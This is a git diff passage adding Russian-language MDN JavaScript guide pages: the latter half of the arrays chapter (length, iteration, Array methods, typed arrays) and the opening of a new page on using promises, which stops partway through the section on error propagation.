+var arr = [];
+arr.length = arrayLength;
+</pre>
+
+<div class="note">
+<p><strong>Замечание</strong>: в примере выше <code>arrayLength</code> должно иметь числовой тип <code>Number</code>. В противном случае будет создан массив с единственным элементом (указанное значение). Вызванная функция <code>arr.length</code> вернет значение <code>arrayLength</code>, но на самом деле массив будет содержать пустые элементы (undefined). Использование цикла<a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...in"> </a> {{jsxref("Statements/for...in","for...in")}} для обработки значений массива не вернет ни одного элемента.</p>
+</div>
+
+<p>Массивы могут быть присвоены свойству нового или уже существующего объекта, как показано ниже:</p>
+
+<pre class="brush: js">var obj = {};
+// ...
+obj.prop = [element0, element1, ..., elementN];
+
+// OR
+var obj = {prop: [element0, element1, ...., elementN]}
+</pre>
+
+<p>Если вы хотите инициализировать массив одним элементом и этим элементом является число типа Number, то вы должны использовать квадратные скобки. Если вы создаёте массив с помощью Array (конструктора или функции), а единственным элементом этого массива будет число типа Number, то число это интерпретируется как длина массива (arrayLength), а не как элемент типа Number.</p>
+
+<pre class="brush: js">var arr = [42]; // Создаёт массив  с одним элементом
+var arr = Array(42); // Создаёт массив без элементов,
+                     // но устанавлявает длину массива arr.length в 42
+
+// Это эквивалентно следующему
+var arr = [];
+arr.length = 42;
+</pre>
+
+<p>Вызов Array(N) выбросит RangeError, если N не целое значение, чья дробная часть не ноль. Следующий пример иллюстрирует это.</p>
+
+<pre class="brush: js">var arr = Array(9.3);  // RangeError: Invalid array length
+</pre>
+
+<p>Если ваш код нуждается в создании массива с одним элементом произвольного типа данных, то безопасней использовать литеральную запись. Или создайте пустой массив, а затем добавьте необходимый элемент.</p>
+
+<h3 id="Заполнение_массива">Заполнение массива</h3>
+
+<p>Вы можете заполнить массив путём присвоения значений его элементам. Для примера:</p>
+
+<pre class="brush: js">var emp = [];
+emp[0] = "Casey Jones";
+emp[1] = "Phil Lesh";
+emp[2] = "August West";
+</pre>
+
+<div class="note">
+<p><strong>Замечание:</strong> Если вы используете нецелое значение в операторе [] обращения к элементу массива, то будет создано соответствующее свойство в объекте, представляющем массив, вместо элемента массива (так как массивы в JavaScript являются объектами).</p>
+</div>
+
+<pre class="brush: js">var arr = [];
+arr[3.4] = "Oranges";
+console.log(arr.length);                // 0
+console.log(arr.hasOwnProperty(3.4));   // true
+</pre>
+
+<p>Вы можете заполнить массив во время создания:</p>
+
+<pre class="brush: js">var myArray = new Array("Hello", myVar, 3.14159);
+var myArray = ["Mango", "Apple", "Orange"]
+</pre>
+
+<h3 id="Работа_с_элементами_массива">Работа с элементами массива</h3>
+
+<p>Вы можете ссылаться на элементы массива путём использования их порядковых номеров. Для примера, предположим, что вы определили следующий массив:</p>
+
+<pre class="brush: js">var myArray = ["Wind", "Rain", "Fire"];
+</pre>
+
+<p>Затем вы сослались на первый элемент массива как myArray[0] и второй элемент массива как myArray[1]. Индексация элементов массива начинается с <strong>нуля</strong>.</p>
+
+<div class="note">
+<p><strong>Замечание: </strong>оператор обращения к элементу массива (квадратные скобки []) также используется для доступа к свойствам массива (массивы также являются объектами в JavaScript). Например:</p>
+</div>
+
+<pre class="brush: js">var arr = ["one", "two", "three"];
+arr[2];  // three
+arr["length"];  // Вернёт число 3, так как это свойство - длина массива
+</pre>
+
+<h3 id="Понимание_length">Понимание <code>length</code></h3>
+
+<p>На уровне реализации, массивы в JavaScript хранят свои элементы как стандартные свойства объекта, используя индекс в качестве имени свойства. Специальное свойство <code>length</code> всегда возвращает индекс посленего элемента плюс один (в примере ниже, элемент 'Dusty' размещается под индексом 30, по этому cats.length возвращает 30 + 1). Особо следует запомнить, что в JavaScript массивы индексируются с нуля: отсчет ведется с 0, а не с 1. Из этого и следует, что свойство <code><code>length</code></code> всегда на единицу больше, чем наибольший индекс хранящийся в массиве:</p>
+
+<pre class="brush: js">var cats = [];
+cats[30] = ['Dusty'];
+console.log(cats.length); // 31
+</pre>
+
+<p>Также, вы можете задавать значение для <code>length</code>. Установка значения меньшего, чем количество хранящихся в массиве элементов, обрезает массив с конца; установка <code>length</code> равным 0 очищает массив полностью:</p>
+
+<pre class="brush: js">var cats = ['Dusty', 'Misty', 'Twiggy'];
+console.log(cats.length); // 3
+
+cats.length = 2;
+console.log(cats); // выводит в консоль "Dusty,Misty" - элемент "Twiggy" был удален
+
+cats.length = 0;
+console.log(cats); // выводит пустую строку; массив cats пуст
+
+cats.length = 3;
+console.log(cats); // выводит [undefined, undefined, undefined]
+</pre>
+
+<h3 id="Перебор_содержимого_массивов">Перебор содержимого массивов</h3>
+
+<p>Очень распространенная задача - это перебор всех элементов массива и обработка каждого элемента некоторой операцией. Вот наипростейший способ сделать это:</p>
+
+<pre class="brush: js">var colors = ['red', 'green', 'blue'];
+for (var i = 0; i &lt; colors.length; i++) {
+  console.log(colors[i]);
+}
+</pre>
+
+<p>Если вам заранее известно, что ни один элемент массива не будет расценен как <code>false</code> при приведении к boolean — например, каждый элемент массива является <a href="/en-US/docs/DOM" title="en-US/docs/DOM">DOM</a> узлом, тогда вы можете блеснуть чуть более эффективным оборотом:</p>
+
+<pre class="brush: js">var divs = document.getElementsByTagName('div');
+for (var i = 0, div; div = divs[i]; i++) {
+  /* Обработать div некоторой операцией */
+}
+</pre>
+
+<p>Подход в примере выше, позволяет избежать проверки длинны массива при каждой итерации, и лишь убеждается, что переменной <code>div</code> присвоен существующий текущий элемент массива при каждом прохождении цикла.</p>
+
+<p>Метод {{jsxref("Array.forEach", "forEach()")}} предоставляет другой способ перебора элементов:</p>
+
+<pre class="brush: js">var colors = ['red', 'green', 'blue'];
+colors.forEach(function(color) {
+  console.log(color);
+});
+</pre>
+
+<p>Как вариант, вы можете сократить код программы, используя стрелочные функции из ES6:</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> colors <span class="operator token">=</span> <span class="punctuation token">[</span><span class="string token">'red'</span><span class="punctuation token">,</span> <span class="string token">'green'</span><span class="punctuation token">,</span> <span class="string token">'blue'</span><span class="punctuation token">]</span><span class="punctuation token">;</span>
+colors<span class="punctuation token">.</span><span class="function token">forEach</span><span class="punctuation token">(</span>color <span class="operator token">=</span><span class="operator token">&gt;</span> console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>color<span class="punctuation token">)</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="comment token">// red</span>
+<span class="comment token">// green</span>
+<span class="comment token">// blue</span></code></pre>
+
+<p>Функция, переданная в метод <code>forEach</code>, будет выполнена по одному разу для каждого элемента массива, при этом сам элемент массива будет передан как аргумент в эту функцию. Элементы, значения которым не присвоены, не обрабатываются <code>forEach</code> циклом.</p>
+
+<p>Заметьте, что элементы, пропущенные при создании массива не обрабатываются методом <code>forEach</code>, однако, <code>undefined</code> элемент обрабатывается в том случае, когда он присвоен ячейке массива вручную:</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> array <span class="operator token">=</span> <span class="punctuation token">[</span><span class="string token">'first'</span><span class="punctuation token">,</span> <span class="string token">'second'</span><span class="punctuation token">,</span> <span class="punctuation token">,</span> <span class="string token">'fourth'</span><span class="punctuation token">]</span><span class="punctuation token">;</span>
+
+array<span class="punctuation token">.</span><span class="function token">forEach</span><span class="punctuation token">(</span><span class="keyword token">function</span><span class="punctuation token">(</span>element<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>element<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="comment token">// first</span>
+<span class="comment token">// second</span>
+<span class="comment token">// fourth</span>
+
+<span class="keyword token">if</span> <span class="punctuation token">(</span>array<span class="punctuation token">[</span><span class="number token">2</span><span class="punctuation token">]</span> <span class="operator token">===</span> undefined<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span><span class="string token">'array[2] is undefined'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// true</span>
+<span class="punctuation token">}</span>
+
+array <span class="operator token">=</span> <span class="punctuation token">[</span><span class="string token">'first'</span><span class="punctuation token">,</span> <span class="string token">'second'</span><span class="punctuation token">,</span> undefined<span class="punctuation token">,</span> <span class="string token">'fourth'</span><span class="punctuation token">]</span><span class="punctuation token">;</span>
+
+array<span class="punctuation token">.</span><span class="function token">forEach</span><span class="punctuation token">(</span><span class="keyword token">function</span><span class="punctuation token">(</span>element<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>element<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="comment token">// first</span>
+<span class="comment token">// second</span>
+<span class="comment token">// undefined</span>
+<span class="comment token">// fourth</span></code></pre>
+
+<p>Так как в JavaScript элементы массива хранятся как обычные свойства объекта, использование  {{jsxref("Statements/for...in","for...in")}} циклов для перебора элементов массива нежелательно, потому что будут обработаны не только элементы массива, но и все перечисляемые свойства массива.</p>
+
+<h3 id="Методы_Array">Методы Array</h3>
+
+<p>Объект {{jsxref("Array")}} имеет следующие методы:</p>
+
+<p>{{jsxref("Array.concat", "concat()")}} объединяет два массива и возвращает новый массив.</p>
+
+<pre>var myArray = new Array("1", "2", "3");
+myArray = myArray.concat("a", "b", "c");
+// myArray = ["1", "2", "3", "a", "b", "c"]
+</pre>
+
+<p>{{jsxref("Array.join", "join(deliminator = ',')")}} объединяет элементы массива в текстовую строку.</p>
+
+<pre>var myArray = new Array("Wind", "Rain", "Fire");
+var list = myArray.join(" - "); // list = "Wind - Rain - Fire"
+</pre>
+
+<p>{{jsxref("Array.push", "push()")}} добавляет один или несколько элементов в конец массива и возвращает результирующую длину.</p>
+
+<pre>var myArray = new Array("1", "2");
+myArray.push("3"); // myArray =["1", "2", "3"]
+</pre>
+
+<p>{{jsxref("Array.pop", "pop()")}} удаляет из массива последний элемент и возвращает его.</p>
+
+<pre>var myArray = new Array("1", "2", "3");
+var last = myArray.pop();
+// myArray =["1", "2"], last = "3"
+</pre>
+
+<p>{{jsxref("Array.shift", "shift()")}} удаляет из массива первый элемент и возвращает его.</p>
+
+<pre>var myArray = new Array ("1", "2", "3");
+var first = myArray.shift();
+// myArray = ["2", "3"], first = "1"
+</pre>
+
+<p>{{jsxref("Array.shift", "unshift()")}} добавляет один или несколько элементов в начало массива и возвращает его новую длинну.</p>
+
+<pre class="brush: js">var myArray = new Array ("1", "2", "3");
+myArray.unshift("4", "5");
+// myArray becomes ["4", "5", "1", "2", "3"]</pre>
+
+<p>{{jsxref("Array.slice", "slice(start_index, upto_index)")}} возвращает секцию массива как новый массив.</p>
+
+<pre class="brush: js">var myArray = new Array ("a", "b", "c", "d", "e");
+myArray = myArray.slice(1, 4); // начиная с индекса 1 извлекаются элементы вплоть до индекса 3
+                               // myArray = [ "b", "c", "d"]
+</pre>
+
+<p>{{jsxref("Array.splice", "splice(index, count_to_remove, addElement1, addElement2, ...)")}} удаляет часть элементов из массива и (опционально) заменяет их. Возвращает удалённые элементы.</p>
+
+<pre class="brush: js">var myArray = new Array ("1", "2", "3", "4", "5");
+myArray.splice(1, 3, "a", "b", "c", "d");
+// myArray = ["1", "a", "b", "c", "d", "5"]
+// Этот код, начиная с ячейки под индексом 1 (в которой находилось значение "2"),
+// удаляет 3 элемента, и вставляет на их место
+// элеметны, переданные в качестве последующих параметров.
+</pre>
+
+<p>{{jsxref("Array.reverse", "reverse()")}} переставляет элементы массива в обратном порядке: первый элемент становится последним, а последний - первым.</p>
+
+<pre class="brush: js">var myArray = new Array ("1", "2", "3");
+myArray.reverse();
+// элементы переставлены myArray = [ "3", "2", "1" ]
+</pre>
+
+<p>{{jsxref("Array.sort", "sort()")}} сортирует элементы массива.</p>
+
+<pre class="brush: js">var myArray = new Array("Wind", "Rain", "Fire");
+myArray.sort();
+// массив отсортирован myArray = [ "Fire", "Rain", "Wind" ]
+</pre>
+
+<p><code>Метод sort()</code> может принимать в качестве аргумента <code>callback</code>-функцию, которая определяет каким образом сравнивать элементы массива при сортировке. Функция сравнивает два значения, и возвращает одно из трех значений (список вариантов значений смотрите после примера):</p>
+
+<p>Пример. Следующий код сортирует массив по последнему символу в строке:</p>
+
+<pre class="brush: js">var sortFn = function(a, b){
+  if (a[a.length - 1] &lt; b[b.length - 1]) return -1;
+  if (a[a.length - 1] &gt; b[b.length - 1]) return 1;
+  if (a[a.length - 1] == b[b.length - 1]) return 0;
+}
+myArray.sort(sortFn);
+// массив отсортирован myArray = ["Wind","Fire","Rain"]</pre>
+
+<ul>
+ <li>если <code>a</code> меньше чем <code>b</code> в выбранной системе сравнения, возвращаем <em>-1 (или любое отрицательное число)</em></li>
+ <li>если <code>a</code> больше чем <code>b</code> в выбранной системе сравнения, возвращаем <em>1 (или любое положительное число)</em></li>
+ <li>если <code>a</code> и <code>b</code> считаются равными, возвращаем <em>0</em>.</li>
+</ul>
+
+<p>{{jsxref("Array.indexOf", "indexOf(searchElement[, fromIndex])")}} ищет в массиве элемент со значением <code>searchElement</code> и возвращает индекс первого совпадения.</p>
+
+<pre class="brush: js">var a = ['a', 'b', 'a', 'b', 'a'];
+console.log(a.indexOf('b')); // выводит 1
+// Попробуем еще раз, начиная с индекса последнего совпадения
+console.log(a.indexOf('b', 2)); // выводит 3
+console.log(a.indexOf('z')); // выводит -1, потому что 'z' не найдено
+</pre>
+
+<p>{{jsxref("Array.lastIndexOf", "lastIndexOf(searchElement[, fromIndex])")}} тоже самое, что и <code>indexOf</code>, но поиск ведется в обратном порядке, с конца массива.</p>
+
+<pre class="brush: js">var a = ['a', 'b', 'c', 'd', 'a', 'b'];
+console.log(a.lastIndexOf('b')); // выводит 5
+// Попробуем еще раз, начиная с индекса, предшествующего индексу последнего совпадения
+console.log(a.lastIndexOf('b', 4)); // выводит 1
+console.log(a.lastIndexOf('z')); // выводит -1
+</pre>
+
+<p>{{jsxref("Array.forEach", "forEach(callback[, thisObject])")}} выполняет <code>callback</code>-функцию по каждому элементу массива.</p>
+
+<pre class="brush: js">var a = ['a', 'b', 'c'];
+a.forEach(function(element) { console.log(element);} );
+// выводит в консоль каждый элемент массива по порядку
+</pre>
+
+<p>{{jsxref("Array.map", "map(callback[, thisObject])")}} возвращает новый массив, содержащий результаты вызова <code>callback</code>-функции для каждого элемента исходного массива.</p>
+
+<pre class="brush: js">var a1 = ['a', 'b', 'c'];
+var a2 = a1.map(function(item) { return item.toUpperCase(); });
+console.log(a2); // выводит A,B,C
+</pre>
+
+<p>{{jsxref("Array.filter", "filter(callback[, thisObject])")}} возвращает новый массив, содержащийт только те элементы исходного массива, для которых вызов <code>callback</code>-функции вернул true.</p>
+
+<pre class="brush: js">var a1 = ['a', 10, 'b', 20, 'c', 30];
+var a2 = a1.filter(function(item) { return typeof item == 'number'; });
+console.log(a2); // выводит 10,20,30
+</pre>
+
+<p>{{jsxref("Array.every", "every(callback[, thisObject])")}} возвращает true, если вызов <code>callback</code>-функции вернул  true для всех элементов массива.</p>
+
+<pre class="brush: js">function isNumber(value){
+  return typeof value == 'number';
+}
+var a1 = [1, 2, 3];
+console.log(a1.every(isNumber)); // выводит true
+var a2 = [1, '2', 3];
+console.log(a2.every(isNumber)); // выводит false
+</pre>
+
+<p>{{jsxref("Array.some", "some(callback[, thisObject])")}} возвращает true, если вызов <code>callback</code>-функции вернет true хотя бы для одного элемента.</p>
+
+<pre class="brush: js">function isNumber(value){
+  return typeof value == 'number';
+}
+var a1 = [1, 2, 3];
+console.log(a1.some(isNumber)); // выводит true
+var a2 = [1, '2', 3];
+console.log(a2.some(isNumber)); // выводит true
+var a3 = ['1', '2', '3'];
+console.log(a3.some(isNumber)); // выводит false
+</pre>
+
+<p>Те из методов выше, что принимают <code>callback</code>-функцию в качестве аргумента, известны как методы итерации (<em>iterative methods)</em>, потому что определенным образом проходятся по всем элементам массива. Каждый из таких методов принимает второй, опциональный элемент, называемый <code>thisObject</code>. Если этот аргумент присутствует, то его значение присваивается ключевому слову <code>this</code> в теле <code>callback</code>-функции. Иначе, как и в любом другом случае вызова функции вне явного контекста, <code>this</code> будет ссылаться на глобальный объект ({{domxref("window")}}).</p>
+
+<p>В действительности <code>callback</code>-функция вызывается с тремя аргументами. Первый аргумент - текущий элемен массива, второй - индекс этого элемента, и третий - ссылка на сам массив. Однако, в JavaScript, функции игнорируют любые аргументы, которые не перечислены в списке аргументов. Таким образом, нет ничего страшного в использовании функции с одним аргументом, такой как <code>alert</code>.</p>
+
+<p>{{jsxref("Array.reduce", "reduce(callback[, initialValue])")}} последовательно применяет <code>callback</code>-функцию <code>callback(firstValue, secondValue)</code> для того, чтобы свести все элементы массива к одному значению. В первый параметр функции передаётся предыдущий результат работы функции или первый элемент, а во второй - текущий элемент. Третьим параметром передаётся индекс текущего элемента.</p>
+
+<pre class="brush: js">var a = [10, 20, 30];
+var total = a.reduce(function(first, second, index) { return first + second; }, 0);
+console.log(total) // выводит 60
+</pre>
+
+<p>{{jsxref("Array.reduceRight", "reduceRight(callback[, initalvalue])")}} работает так же как и <code>reduce()</code>, но порядок обхода ведется от конца к началу.</p>
+
+<p><code>Методы reduce</code> и <code>reduceRight</code> являются наименее очевидными методами объекта Array. Они должны использоваться в алгоритмах, которые рекурсивно совмещают два элемента массива, для сведения всей последовательности к одному значению.</p>
+
+<h3 id="Многомерные_массивы">Многомерные массивы</h3>
+
+<p>Массивы могут быть вложенными, то есть массив может содержать массивы в элементах. Используя эту возможность массивов JavaScript, можно построить многомерные массивы.</p>
+
+<p>Следующий код создает двумерный массив:</p>
+
+<pre class="brush: js">var a = new Array(4);
+for (i = 0; i &lt; 4; i++) {
+  a[i] = new Array(4);
+  for (j = 0; j &lt; 4; j++) {
+    a[i][j] = "[" + i + "," + j + "]";
+  }
+}
+</pre>
+
+<p>В этом примере создается массив со следующим содержимым:</p>
+
+<pre>Ряд 0: [0,0] [0,1] [0,2] [0,3]
+Ряд 1: [1,0] [1,1] [1,2] [1,3]
+Ряд 2: [2,0] [2,1] [2,2] [2,3]
+Ряд 3: [3,0] [3,1] [3,2] [3,3]
+</pre>
+
+<h3 id="Массивы_и_регулярные_выражения">Массивы и регулярные выражения</h3>
+
+<p>Когда массив является результатом вычислений регулярного выражения над строкой, он содержит свойтсва и элементы с информацией о совпадениях. Массив возвращается функциями  {{jsxref("Global_Objects/RegExp/exec","RegExp.exec()")}}, {{jsxref("Global_Objects/String/match","String.match()")}} и  {{jsxref("Global_Objects/String/split","String.split()")}} Подробнее о том, как использовать массивы с регулярными выражениями смотрите в <a href="/en-US/docs/Web/JavaScript/Guide/Regular_Expressions" title="en-US/docs/JavaScript/Guide/Regular Expressions">Regular Expressions</a>.</p>
+
+<h3 id="Работа_с_массивоподобными_объектами">Работа с массивоподобными объектами</h3>
+
+<p>Некоторые объекты в JavaScript, такие как {{domxref("NodeList")}}, возвращаемые методом {{domxref("document.getElementsByTagName()")}}, или специальный объект  {{jsxref("Functions/arguments","arguments")}}, доступный внутри функции, выглядят и ведут себя как обычные массивы, однако не имеет всех присущих массиву методов. Так например, объект <code>arguments</code> имеет свойство {{jsxref("Global_Objects/Function/length","length")}}, но не имеет метода {{jsxref("Array.forEach", "forEach()")}}.</p>
+
+<p>Методы из прототипа Array, могут быть вызваны для массивоподобных объектов. Например:</p>
+
+<pre><code>function printArguments() {
+  Array.prototype.forEach.call(arguments, function(item) {
+    console.log(item);
+  });
+}</code></pre>
+
+<p>Также методы из прототипа Array могут быть применены и к строкам, потому как строки предоставляют доступ к своим символам сходным образом:</p>
+
+<pre class="brush: js"><code>Array.prototype.forEach.call</code>("a string", function(chr) {
+  console.log(chr);
+});</pre>
+
+<h2 id="Типизированные_массивы">Типизированные массивы</h2>
+
+<p><a href="/en-US/docs/Web/JavaScript/Typed_arrays">JavaScript typed arrays</a> (типизированные массивы) являются массивоподобными объектами, которые предоставляют механизм доступа к сырым бинарным данным. Как вы уже знаете, {{jsxref("Array")}} массивы динамически растут, сокращаются и могут содержать значения любых типов JavaScript. Движки JavaScript производят оптимизации, благодаря чему, эти операции происходят быстро. Однако, веб приложения становятся все более мощными, добавляются возможности манипуляции со звуковыми и видеоданными, доступ к сырым данным <a href="/en-US/docs/WebSockets">WebSockets</a>, и тому подобное. Становится очевидным, что возможность быстрой и эффективной работы с двоичными данными в JavaScript будет очень полезной. Для чего типизированные массивы и предназначены.</p>
+
+<h3 id="Буферы_и_представления_архитектура_типизированных_массивов">Буферы и представления: архитектура типизированных массивов</h3>
+
+<p>Для достижения максимальной гибкости и производительности, реализация типизированных массивов в JavaScript разделена на <strong>буферы</strong> и <strong>представления</strong>. Буфер ({{jsxref("ArrayBuffer")}}) это объект, представляющий из себя блок данных; он не имеет формата и не предоставляет возможности доступа к своему содержимому. Для доступа к памяти буфера вам нужно использовать представление. Представление являет собой контекст, имеющий тип данных, начальную позицию в буфере, и количество элементов — это позволяет представить данные в виде актуального типизированного массива.</p>
+
+<p><img alt="Typed arrays in an ArrayBuffer" src="https://mdn.mozillademos.org/files/8629/typed_arrays.png" style="height: 278px; width: 666px;"></p>
+
+<h3 id="ArrayBuffer">ArrayBuffer</h3>
+
+<p>Объект {{jsxref("ArrayBuffer")}} это стандартный набор бинарных данных с фиксированной длиной. Вы не можете манипулировать содержимым <code>ArrayBuffer</code> напрямую. Вместо этого необходимо создать типизированное представление {{jsxref("DataView")}}, которое будет отображать буфер в определенном формате, и даст доступ на запись и чтение его содержимого.</p>
+
+<h3 id="Типизированные_представления">Типизированные представления</h3>
+
+<p>Название типизированного представления массива говорит само за себя. Оно представляет массив в распространенных числовых форматах, таких как  <code>Int8</code>, <code>Uint32</code>, <code>Float64</code> и так далее. Среди прочих существует специальное представление <code>Uint8ClampedArray</code>. Оно ограничивает значения интервалом от 0 до 255. Это полезно, например, при <a href="/en-US/docs/Web/API/ImageData">Обработке данных изображения в Canvas</a>.</p>
+
+<p>{{page("en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray", "TypedArray_objects")}}</p>
+
+<p>Для получения подробных сведений смотрите <a href="/en-US/docs/Web/JavaScript/Typed_arrays">Типизированные массивы JavaScript</a> и справочную документацию для  {{jsxref("TypedArray")}}.</p>
+
+<p>{{PreviousNext("Web/JavaScript/Guide/Regular_Expressions", "Web/JavaScript/Guide/Keyed_Collections")}}</p>
diff --git a/files/ru/web/javascript/guide/ispolzovanie_promisov/index.html b/files/ru/web/javascript/guide/ispolzovanie_promisov/index.html
new file mode 100644
index 0000000000..a910dfca09
--- /dev/null
+++ b/files/ru/web/javascript/guide/ispolzovanie_promisov/index.html
@@ -0,0 +1,321 @@
+---
+title: Использование промисов
+slug: Web/JavaScript/Guide/Ispolzovanie_promisov
+tags:
+  - JavaScript
+  - Асинхронность
+  - Гайд
+  - промис
+translation_of: Web/JavaScript/Guide/Using_promises
+---
+<div>
+<p>{{jsSidebar("Руководство по JavaScript")}}{{PreviousNext("Web/JavaScript/Guide/Details_of_the_Object_Model", "Web/JavaScript/Guide/Iterators_and_Generators")}}</p>
+</div>
+
+<p class="summary">{{jsxref("Promise")}} (промис, англ. "обещание") - это объект, представляющий результат успешного или неудачного завершения асинхронной операции. Так как большинство людей пользуются уже созданными промисами, это руководство начнем с объяснения использования вернувшихся промисов до объяснения принципов создания. </p>
+
+<p>В сущности, промис - это возвращаемый объект, в который вы записываете два коллбэка вместо того, чтобы передать их функции.</p>
+
+<p>Например, вместо старомодной функции, которая принимает два коллбэка и вызывает один из них в зависимости от успешного или неудачного завершения операции:</p>
+
+<pre class="brush: js line-numbers  language-js">function doSomethingOldStyle(successCallback, failureCallback) {
+  console.log("Готово.");
+  // Успех в половине случаев.
+  if (Math.random() &gt; .5) {
+    successCallback("Успех")
+  } else {
+    failureCallback("Ошибка")
+  }
+}
+
+function successCallback(result) {
+  console.log("Успешно завершено с результатом " + result);
+}
+
+function failureCallback(error) {
+  console.log("Завершено с ошибкой " + error);
+}
+
+doSomethingOldStyle(successCallback, failureCallback);
+</pre>
+
+<p>…современные функции возвращают промис, в который вы записываете ваши коллбэки:</p>
+
+<pre class="brush: js line-numbers  language-js">function doSomething() {
+  return new Promise((resolve, reject) =&gt; {
+    console.log("Готово.");
+    // Успех в половине случаев.
+    if (Math.random() &gt; .5) {
+      resolve("Успех")
+    } else {
+      reject("Ошибка")
+    }
+  })
+}
+
+const promise = doSomething();
+promise.then(successCallback, failureCallback);</pre>
+
+<p>…или просто:</p>
+
+<pre class="brush: js line-numbers  language-js">doSomething().then(successCallback, failureCallback);</pre>
+
+<p>Мы называем это <em>асинхронным вызовом функции</em>. У этого соглашения есть несколько преимуществ. Давайте рассмотрим их.</p>
+
+<h2 id="Гарантии">Гарантии</h2>
+
+<p>В отличие от старомодных переданных коллбэков промис дает некоторые гарантии:</p>
+
+<ul>
+ <li>Коллбэки никогда не будут вызваны до <a href="/ru/docs/Web/JavaScript/EventLoop#Никогда_не_блокируется">завершения обработки текущего события</a> в событийном цикле JavaScript.</li>
+ <li>Коллбеки, добавленные через .then даже <em>после </em>успешного или неудачного завершения асинхронной операции, будут также вызваны.</li>
+ <li>Несколько коллбэков может быть добавлено вызовом .then нужное количество раз, и они будут выполняться независимо в порядке добавления.</li>
+</ul>
+
+<p>Но наиболее непосредственная польза от промисов - цепочка вызовов (<em>chaining</em>).</p>
+
+<h2 id="Цепочка_вызовов">Цепочка вызовов</h2>
+
+<p>Общая нужда - выполнять две или более асинхронных операции одна за другой, причём каждая следующая начинается при успешном завершении предыдущей и использует результат её выполнения. Мы реализуем это, создавая цепочку вызовов промисов (<em>promise chain</em>).</p>
+
+<p>Вот в чём магия: функция <code>then</code> возвращает новый промис, отличающийся от первоначального:</p>
+
+<pre class="brush: js">let promise = doSomething();
+let promise2 = promise.then(successCallback, failureCallback);
+</pre>
+
+<p>или</p>
+
+<pre class="brush: js">let promise2 = doSomething().then(successCallback, failureCallback);
+</pre>
+
+<p>Второй промис представляет завершение не только <code>doSomething()</code>, но и функций <code>successCallback</code> или <code>failureCallback</code>, переданных Вами, а они тоже могут быть асинхронными функциями, возвращающими промис. В этом случае все коллбэки, добавленные к <code>promise2</code> будут поставлены в очередь за промисом, возвращаемым <code>successCallback</code> или <code>failureCallback</code>.</p>
+
+<p>По сути, каждый вызванный промис означает успешное завершение предыдущих шагов в цепочке.</p>
+
+<p>Раньше выполнение нескольких асинхронных операций друг за другом приводило к классической "Вавилонской башне" коллбэков:</p>
+
+<pre class="brush: js">doSomething(function(result) {
+  doSomethingElse(result, function(newResult) {
+    doThirdThing(newResult, function(finalResult) {
+      console.log('Итоговый результат: ' + finalResult);
+    }, failureCallback);
+  }, failureCallback);
+}, failureCallback);
+</pre>
+
+<p>В современных функциях мы записываем коллбэки в возвращаемые промисы - формируем цепочку промисов:</p>
+
+<pre class="brush: js">doSomething().then(function(result) {
+  return doSomethingElse(result);
+})
+.then(function(newResult) {
+  return doThirdThing(newResult);
+})
+.then(function(finalResult) {
+  console.log('Итоговый результат: ' + finalResult);
+})
+.catch(failureCallback);
+</pre>
+
+<p>Аргументы <code>then</code> необязательны, а <code>catch(failureCallback)</code> - это сокращение для <code>then(null, failureCallback)</code>. Вот как это выражено с помощью <a href="/ru/docs/Web/JavaScript/Reference/Functions/Arrow_functions">стрелочных функций</a>:</p>
+
+<pre class="brush: js">doSomething()
+.then(result =&gt; doSomethingElse(result))
+.then(newResult =&gt; doThirdThing(newResult))
+.then(finalResult =&gt; {
+  console.log(`Итоговый результат: ${finalResult}`);
+})
+.catch(failureCallback);
+</pre>
+
+<p><strong>Важно:</strong> Всегда возвращайте промисы в return, иначе коллбэки не будут сцеплены и ошибки могут быть не пойманы (стрелочные функции неявно возвращают результат, если скобки {} вокруг тела функции опущены).</p>
+
+<h3 id="Цепочка_вызовов_после_catch">Цепочка вызовов после catch</h3>
+
+<p>Можно продолжить цепочку вызовов <em>после </em>ошибки, т. е. после <code>catch</code>, что полезно для выполнения новых действий даже после того, как действие вернет ошибку в цепочке вызовов. Ниже приведен пример:</p>
+
+<pre class="syntaxbox"><code class="language-js"><span class="keyword token">new</span> <span class="class-name token">Promise</span><span class="punctuation token">(</span><span class="punctuation token">(</span>resolve<span class="punctuation token">,</span> reject<span class="punctuation token">)</span> <span class="operator token">=</span><span class="operator token">&gt;</span> <span class="punctuation token">{</span>
+    console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span><span class="string token">'</span></code>Начало<code class="language-js"><span class="string token">'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+</code>
+    resolve();
+})
+.then(() =&gt; {
+    throw new Error('Где-то произошла ошибка');
+
+    console.log('Выведи это');
+})
+.catch(() =&gt; {
+    console.log('Выведи то');
+})
+.then(() =&gt; {
+    console.log('Выведи это, несмотря ни на что');
+});</pre>
+
+<p>В результате выведется данный текст:</p>
+
+<pre>Начало
+Выведи то
+Выведи это, несмотря ни на что</pre>
+
+<p>Заметьте, что текст "Выведи это" не вывелся, потому что "Где то произошла ошибка" привела к отказу</p>
+
+<h2 id="Распространение_ошибки">Распространение ошибки</h2>
+
+<p>Вы могли ранее заметить, что <code>failureCallback</code>  повторяется три раза  в <strong>"pyramid of doom", </strong>а в цепочке промисов всего лишь один раз:</p>
+
+<pre><code>doSomething()
+.then(result =&gt; doSomethingElse(result))
+.then(newResult =&gt; doThirdThing(newResult))
+.then(finalResult =&gt; console.log(`</code>Итоговый результат<code>: ${finalResult}`))
+.catch(failureCallback);</code></pre>
+
